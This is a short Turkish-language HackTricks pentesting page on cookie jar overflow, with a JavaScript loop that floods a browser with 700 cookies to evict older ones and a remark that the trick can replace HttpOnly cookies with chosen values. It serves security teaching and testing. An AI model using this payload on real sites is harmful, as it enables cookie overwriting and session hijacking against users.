hacktricks/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md

{{#include ../../banners/hacktricks-training.md}}

Tarayıcıların bir sayfa için saklayabileceği çerez sayısında bir sınırı vardır. Eğer bir nedenle bir çerezi kaybetmeniz gerekiyorsa, çerez kavanozunu taşırarak en eski olanların silinmesini sağlayabilirsiniz:

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
}

Üçüncü taraf çerezlerinin farklı bir alan adına işaret ettiğini ve üzerine yazılmayacağını unutmayın.

Caution

Bu saldırı, HttpOnly çerezlerini silip ardından istediğiniz değerle sıfırlayarak üzerine yazmak için de kullanılabilir.

Bunu bu laboratuvar içeren yazıda kontrol edin.

{{#include ../../banners/hacktricks-training.md}}